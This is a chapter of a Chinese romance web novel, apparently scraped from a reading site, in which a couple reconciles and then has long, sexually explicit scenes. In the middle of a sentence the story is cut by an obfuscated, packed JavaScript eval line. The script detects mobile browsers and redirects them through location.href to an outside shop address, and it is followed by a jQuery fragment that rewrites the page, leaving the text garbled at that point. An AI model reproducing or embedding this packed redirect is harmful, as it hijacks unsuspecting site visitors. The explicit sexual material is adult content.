付轻屿抬手,祁放就低下头给她摆弄。 “我约了个朋友吃饭。” 祁放瞬间不让摸了,抬头瞪她,用力攥着书包往回走,“行,你忙,你朋友多,去吧。什么时候有心情了,愿意追了,你再来。” 在付轻屿心里,复合这事就一点不急? 只有他迫不及待想在一起。 只有他请假逃课都想多待一会。 只有他被追时还上赶着,生怕付轻屿后悔,不追了。 祁放走出了八头牛都拉不回的气势,付轻屿一抓他手腕,脚下就不会走路了,只能在心里骂自己没出息。 付轻屿转到身前,祁放偏头不看她,甩出一滴泪,也不让她碰自己脸。 “约的何雨萌,刚才打电话说了工作的事……”付轻屿顿了下,跟祁放详细说了下。 祁放拧着头,听付轻屿主动跟他解释,心里好受不少,“去吧,随便你,我回去上晚自习。” 付轻屿扣着他,不让走。 刚才没明白祁放的意思,现在人都追过来了,她再不懂,真成戴发修行的尼姑了。 付轻屿晃他的手腕,撒娇这套业务,二十多年没用过,生硬得不行。 “不想你走。”付轻屿低头,手指在他胸前一下下戳着,小声说,“不走行吗?” 谁能拒绝美人撒娇?祁放反正不能。 对于付轻屿,他根本就没抵抗力,这两个撒娇的小动作,简直是来要他命的。 前两天直接复合多好,还想装把矜持,体会一下被追的感觉。 矜持个屁!矜持这事就不适合他! 祁放轻咳一声,“你朋友怎么办?” 付轻屿思索片刻。 “你还犹豫?”祁放怨声道,“付轻屿,你多喜欢我一下会死啊!” “没犹豫,我在想把你一起带过去。”付轻屿摇晃他的手,“我最喜欢你了。” 祁放一脸不信,“你跟颜泠肯定也会这么说。” 付轻屿:“……” 服气了,这姐弟俩,莫名其妙的脑回路居然能对上线。 “算了,我才懒得跟她比。”祁放哼了声,“她不可能比过我。” 付轻屿:“……对。” 姐弟俩一样的话,一样的自信。 祁放沉默两秒,“不要你追了,我这心脏受不了,整天提心吊胆的,我要复合,现在就要!” 付轻屿往他面前凑,忘了头上的棒球帽,一下怼祁放脸上,给人怼的往后仰了下。 “你干啥啊?”祁放揉着额头笑。 付轻屿也被帽子硌了下,笑着说:“亲我男朋友。” “哼,不给亲。”祁放牵她的手,使劲捏了捏,“再说分手,就给你捆起来,让你天天都看着我,只能看着我,烦死你。” “想想还不错。” 祁放一愣,“……变态。” 两人牵着手往校外走,夏季的闷热,终于在傍晚吹来一丝凉意。 祁放把书包甩到肩上,“等你知道我准备了什么惊喜,你爱不死我。” 付轻屿笑:“不用什么惊喜,现在已经爱死你了。” “听你这些好话听的,我脑子都没了。”祁放说完,脑筋转了下,“我跟你们一起,没关系吗?” 付轻屿:“问过了,雨萌姐不介意。” 何雨萌选的地,付轻屿定了个包间,方便说话。 还在《趣事》的时候,何雨萌见过祁放一次,没说几句话,只记得他是付轻屿表弟,长发,挺劲的。 这次见面,长发没了,短发完全变了个味,清爽是清爽,整个人的气质也软下不少。 何雨萌跟付轻屿开玩笑:“说介绍个人给我认识,把你表弟搬出来干啥?” 付轻屿:“我男朋友。” 何雨萌:“……?” 这是个伦理的问题。 祁放惊的没说出话。 面对付轻屿的同事或朋友,他做‘表弟’做惯了,男朋友的身份一出,倒有些地下恋被曝光的惊慌。 付轻屿拉过他的手,揉按了两下,缓解紧张的小动作。 何雨萌试图理解,实在没忍住说:“你们这样是乱来啊。” 付轻屿笑:“我朋友的弟弟,不是表弟,没血缘关系。当初图方便,也不想别人八卦,才说是表姐弟的。” “真是吓我一跳。”何雨萌如释重负,拍了她一巴掌,“吓死我了。” 付轻屿笑:“咱俩有啥说啥。你不用管他,当成我分身也行,不是外人。” 这句不是外人,祁放听着得劲,心里美。 何雨萌跟付轻屿讲了节目规划,祁放也跟着听,倒不多嘴。 话多也分时候,两人在一起时,祁放咋黏糊咋来,到了正事上,也能拿住正儿八经的态度。 他年纪不大,坐在付轻屿身边,就能坐出有事兜底的气势。 节目上的行话,祁放一知半解,看付轻屿的样子,知道她是真心想做这事,心里也跟着痛快。 一顿饭,何雨萌跟付轻屿把访谈节目的基调定个七.八。EP0以两人对话展开,大方谈论前几天的热搜事件,彻底撕掉付轻屿身上的标签,顺便给节目奠定一波热度。 两人聊得开心,喝了点酒,没贪多。 饭后,祁放担起司机的角色。 付轻屿沾了酒,身体放松下来,有种飘飘然的感觉,情绪却高涨着。 祁放上路的经验不多,副驾驶又坐个宝贝,双重紧张下,眼观六路,后脑壳都快开眼了。 付轻屿心大,还有闲情聊天,“明天早上回学校?” 祁放:“想我回去吗?” 付轻屿转头,一手懒散地搭在他腿上,“不想,早八怎么办?” 祁放正紧张呢,哪受得了她撩拨,“请假了,开车呢,别逗我。” 手都没动,哪来的挑逗,看在祁放是个新手的份上,付轻屿把手撤了回来。 祁放停好车,还没等松口气,嘴唇就被付轻屿叼住了。 付轻屿只是轻轻吮了下,没进一步侵略。祁放刚闭上眼,她就撤开了。 祁放:“?” 没了? 付轻屿撩完火,利落打开车门,“回家了。” 祁放一脸怨气,将后排的背包拿上,关门锁车。他都准备好大战三百回合了,对方气势汹汹丢个了烟雾弹? 和好之后,亲都这么敷衍了? 再等两天,岂不是看见他都烦! 付轻屿拍他鼓鼓囊囊的书包,“装的什么?” 祁放越想越气,“不用你管,亲都不愿意亲了,还管我干吗?” 付轻屿笑他,“你是河豚啊,一碰就气鼓鼓的。” “我嘴里可没毒。”祁放打开家门,手还没碰到开关面板,手臂一紧,随着‘砰’的一声,光亮隔绝在门外。他在黑暗中踉跄两步,嘴被堵得严严实实。 付轻屿将人抵在门上,发了狠地吻,把这些天没亲到的,全讨回来。 祁放逐渐受不住,只有快窒息时,付轻屿才给个气口,如此反复,眼泪都激出来了。 近似掠夺的吻慢慢松懈,付轻屿将注意力转到另一处,给自己找糖吃。她手指隔着布料揉捏按压,不一会儿,搜索出一颗富有弹性的软糖。 多了层刺激,祁放并没感觉节奏放缓,反而腿脚发软,比付轻屿突出一块的身高,靠着门下滑,已经略低一些。 付轻屿膝盖抵在门上,用力压了下。 “呜……付……”祁放感觉自己在骑扫把,整个人架在空中,摇摇欲坠。 付轻屿视线向下,没忍住勾了勾鼓包,蹭痒似得。 “别嗯…啊…”祁放颤栗着推开付轻屿,抵在她肩头喘息新鲜空气。 “我是不愿亲吗?”付轻屿掐掐他的脸,气息交缠着,“说话,让不让管?” “这不是被你管着呢嘛。”祁放声音打颤,不忘回嘴,“又故意逗我。” 暗色里,付轻屿将他压在门上,手往后腰剐蹭,向下揉了把面团,“门都被你烫热乎了。” 祁放被揉臊了,想躲又躲不开,语气染上羞怒:“都怪你。” 付轻屿遮住他的眼睛,按开灯,“书包里装了什么?” 祁放直起身,脸不红心不跳地说:“工具啊。” 付轻屿愣:“你知道买什么吗?” 祁放拉着她往沙发走,将东西全部倒出来,“店铺有标题介绍,这还能买错吗?” 一堆玩具,从新手入门到满级大佬都有了。 付轻屿拎起个形状奇异、五彩斑斓的触手,快有手腕粗了,长度显得诡异,真能一步到胃。她错愕两秒,真诚发问:“你买的时候,真看了吗?” 祁放显然被实物吓了跳,说话开始结巴,“不知道你喜欢哪种,我也没仔细看,反正带四爱标题的,都买回来了。店铺有折扣,买的越多折扣力度越大。我算过,全部拿下,相当于打六点五折,非常划算” 逛情.趣用品店铺,致力于算数学折扣题,付轻屿笑他,“不知道我喜欢哪种?你就没想自己能不能吃的下?” 祁放一时呆愣,又问:“你没办法啊?” “?”付轻屿又勾起一串珠子,哭笑不得,“我真是拿你没办法。” 祁放耷拉下耳朵,以为自己好心办坏事,说话都蔫了,“这东西还有那么多讲究啊,我也不知道……都不能用啊?” “能用。”付轻屿急忙拉过他亲了下,安抚完又笑,“这事儿,我还能让你跑了吗?自己瞎着什么急。” 祁放嘟囔道:“我不是想给你个惊喜吗,让你开心开心,别整天想那些有的没的。我说了愿意就是愿意。” 付轻屿摩挲他的后腰,“我不是故意想那些,上段感情扯得太难受,我下意识……” 祁放低头亲了下,打断她的话,“别跟我提他,烦人。不管你们之前咋样,现在咱俩好呢,我是你男朋友,我说愿意给你做就是愿意。别想拿我跟他比,他没那资格了,知道不?” 付轻屿心里的火苗烧起来,连带筋骨都热了,“知道。我是想说,现在不会乱想了,信你。” 祁放的坏情绪一扫而空,勾起嘴角,“这还差不多。” 付轻屿问:“明天真请假了?” 祁放点头,“脑袋一热就请了。” 付轻屿隔着衣服咬小果子,做完坏事又故意软声道:“今晚可以吗?” 祁放心口发麻,不知道是被咬的,还是被这语气撩的。 付轻屿亲他的下巴,一点退路也不给人留,“行不行嘛?” 轻柔的声音往耳朵里钻,祁放骨头都酥没了,红着脸说:“我先去洗澡。” 付轻屿手指在他嘴角按了按,“好好刷牙。” 祁放眼睛一亮,听懂这话的意思,急忙应下,直直往浴室奔。 付轻屿在主卫洗的,洗完换了身睡衣,开始清洗工具,又在床尾铺了条毛茸茸的地毯。 一切准备好,见祁放还没出来,她又去护理头发。 “付轻屿。” 卧室没人,祁放下意识唤了声,才往主卫走。 “你怎么穿……”看到付轻屿的瞬间,祁放眼都直了,忍不住凑上前,“你也不用为我穿这样的衣服。” 付轻屿伸手抵住他,在人脑门弹了下,认真道:“这是睡衣,你这小脑瓜,整天想什么呢?” “睡衣?”离近后看得更清楚,祁放快速扫了眼,浑身烧得慌,没敢多看,“今天的睡衣,偷工减料。” 付轻屿特意换了件吊带睡裙,没想到祁放反应这么大,看都不敢看她了。 “之前嫌穿得多,现在又嫌穿得少?”隔着浴袍,付轻屿在他侧腰拧了把,故意逗他,“你到底要怎么样?” “我不是嫌,我就是……我说不清了。”祁放说着就想往人身前凑。 付轻屿将他推远些,“站好,先说清楚了,这次觉得委屈吗?” 祁放在付轻屿身上勾了根弹簧,被推远,就不受控制地凑上去,“不委屈,一点都不委屈。” 付轻屿伸手抵着他,不让靠近,“这次没感觉自己是出来卖的吧?” “我错了,吵架时说错话了。”祁放说着,使劲往她身前凑,“我错了。” 付轻屿一手抵在他胸前,被逼的后退两步,无奈笑了下,“先站好。” 祁放站好,脚下还在蠢蠢欲动。 付轻屿笑:“没感觉不公平吧?” 祁放摇头,试图将胸前的手抓下去,“饶了我吧,我再也不乱说话了,翻篇吧。” 付轻屿被他逼到床尾,顺势坐下,“那我们玩个游戏。” 姿势有些危险,祁放不好往她身前凑了,只能点头应下。 “自己用手,要忍够七分钟。”付轻屿勾起他浴袍上的带子,抽向支起来的宝贝,“时间不长,我已经放水了。能做到的话,让你亲。” 祁放信誓旦旦地应下,十分上道地跪在毯子上。 “浴袍碍事了,不许遮。” 祁放抬头,“你刚才又没说。” 付轻屿一手撑脸,语气轻飘,“现在说了,做不到吗?” 这七分钟看不到头了,祁放红着脸低头,彻底敞开怀,手上又不会动了。 “需要我帮你吗?”付轻屿力气不大,猫踩奶似得,四处点火。 祁放试图按住她,“你别动……就是…就是帮我了。” 付轻屿踩在他大腿上,没再动作,“别低头。” 祁放跪着,矮付轻屿一截,抬头平视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970796|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正好能看到睡衣半隐半遮。他一激灵,立即移开视线,差点功亏一篑。 付轻屿捕捉到他的小动作,没忍住笑了下,“头抬起来。” 祁放抬头对视一眼,立即避开视线,手上也开始偷懒。 付轻屿两手撑在身侧,淡淡道:“加一分钟。” 祁放立即转头看她,“说好七分钟的,你怎么这样?” “谁叫你偷懒的?”付轻屿捏住他的下巴,“再被我发现,要加两分钟哟。” 祁放心虚,说话都不硬气了,“我没有。” 抗议无效。 付轻屿把表针调回一分钟。 祁放气地瞪她一眼,神情沾染上春.色,瞪人都像撒娇。 付轻屿研磨小果子,隔着衣物,每一下都比往常更用力,布料也多了层摩擦感。 祁放抬着头逐渐低下,又受不住地仰起来,羞耻心被磨没了,不自觉地往人面前凑。 他扫了眼计时器,时间还没过去一半,剩下四分多钟。 “怎么样?一直被盯着看,感觉舒服吗?颜色好像更红了。” 祁放偏开视线,吞吞吐吐道:“…不…不知道。” 付轻屿低头亲他,将嘴唇尝了个遍,百般折磨,就是不接吻。 祁放迎合着吐出蛇信子勾.引她,也被避开了。 “真可爱。”付轻屿撤开身,嘴角勾着笑,欣赏他意乱情迷的模样。 祁放恼羞成怒,转头不看她,“不亲算了。” 还有两分多钟。 祁放感觉计时器有问题,时间哪有这么慢的? 付轻屿笑:“怕你受不住。” “我受得住!”祁放又瞪她,眼神还没凶起来,唇舌先被堵死了。 付轻屿完全是故意激他,上来狠狠吮吸,往深处搅弄。 祁放全身一颤。 付轻屿的手覆上来了,一半握住他的手,一半握住宝贝,完全掌控了节奏。 “呜……不行……”祁放的话被付轻屿吃进肚子里,亲吻声回应他,抗议无效。 祁放实在憋得难受,吭叽声转成要哭的调调。 付轻屿撤开,擦了下他眼角的泪。 “还有多长时间,哼嗯,付轻屿,我真不行了,求、求你,慢……”祁放砸在她膝盖上,视线落在两手一活物上,画面实在太涩了,他移开视线又忍不住偷看,颤声问,“还有多长时间?” 付轻屿看着倒计时秒表,在他耳边轻声倒数。 每敲下一声,动作就快一分。 祁放大脑一片混乱,耳边那声‘1’落下,活物又被手指堵了下。 “付、啊!”祁放惊叫一声,两手撑在地上,随后铃声响起,手指跟着移开。 付轻屿故意数快了一秒。 祁放像条抽搐的鱼,颤了半天才平静下来,“混蛋。” 付轻屿摸他侧颈激出的汗,笑着问:“不爽?” 祁放:“……” 付轻屿问:“难受了?” “没。”祁放趴在她膝盖上缓了会,再抬起头来,眼神都变野了,仰头亲了她一下。 付轻屿没躲反而笑了下,祁放心里有谱了,逮着人又亲又咬,像条小狗一样撒欢,从上到下,落在花心上,吮吸、挑弄、抿啄,肆无忌惮地品尝。 虽然知道祁放看不见,付轻屿还是伸手挡了下泛红的脸,被一波又一波地推上高地。 祁放折腾半天,凑到付轻屿面前邀功,还没等亲上,就被捂着嘴推开了。 付轻屿:“不许亲了。” 祁放咬上瘾了,对着她的手指就是一口,“我不,我就不。” 付轻屿依旧拦着,祁放问:“干什么,你还嫌弃我了?都是你的味……” 祁放还没说完,被付轻屿勾着背,一个翻身压了下去。 “疯够了,该我了。”付轻屿把他的浴袍系好,“公平起见,给你穿好衣服。” 祁放:“……” 真记仇,他都快把那两句话忘了。 衣服穿得板正,也省去了前.戏,付轻屿挤了不少乳液,直接涂抹探索。 祁放不受控地缩了下。 这次没什么安抚,他心里却畅快许多。付轻屿喜欢他喜欢得不行,这事比什么前摇都有用。 “走神?”上次摸索到了地方,付轻屿这次没客气,直接找了过去,狠狠点着。 祁放被刺激地绷直身子,嘴里喘不出口完整的气,狡辩道:“没、没有。” 付轻屿知道他受的住,也是丝毫没客气,三两下又给人弄出来。 “这么快?” 对祁放的直脑筋来说,说他的反应没意思,杀伤力凑活,说他快,简直是对着他爆锤。 “我没有,这不是我的正常水平。” 付轻屿选了个正常尺寸的道具,穿戴好,“是吗?你有的是时间证明,我们慢慢来。” 祁放知道后面能爽后,对这事抗拒也小了不少。怎么爽不是爽? “不行不行,弄不进去的。”祁放惊慌地伸着手推搡,发现自己在做无用功后,只能两手抓住浴袍,努力喘息。 付轻屿一步到位,“今天说什么都不好使哟,”她故意撞了下,“喊疼也不好使,不过,你可以撒娇试试。” “屁,我才不会撒娇,一点都不疼啊…付…别撞了……” 祁放的直男思维被撞出折,撞成了软趴趴的水草。 不会喘,不会叫,不会扭动迎合,在一波连着一波的刺激下,都学会了。 初次尝试就是有个好处,不管付轻屿让他摆什么姿势,他都不知深浅的依着人摆弄。 浴袍随着两人移动,最后被甩在了窗边。 祁放脑子都撞乱了,突然意识到一个问题,付轻屿就像台永动机。 手做累了换腰,腰做累了,换小玩具,三者循环,根本就没有精尽人亡这个说法! 祁放彻底瘫软下来,知道害怕了,开始各种求饶,换来了付轻屿更加卖力的结果。 最后,他连自己怎么睡着的都不知道。 日夜不分的周六周天过后,祁放周一请了天假,第一次知道了爬不起来是什么感觉,彻底爽没魂了。 本来是请假休养,两人视线一对,撩起火来,又翻云覆雨了会儿。 付轻屿摸他额头,出了层汗,没烧。 祁放神情迷乱,抓着她的手按在脸上不放,嘴里闷吭不断。 付轻屿放缓动作,轻轻摸他的脸,“小狗。” 祁放气都喘不匀,不忘反驳,“我才不是。” 付轻屿笑:“我的小狗。” 祁放顾不得说话,颤栗过后,拽了拽她的手,“拉我起来。” 付轻屿没抽出去,将他拉起来抱在怀里。 祁放小腿不受控地乱蹬,真感觉戳到胃了,趴在付轻屿肩膀缓了下,“汪~”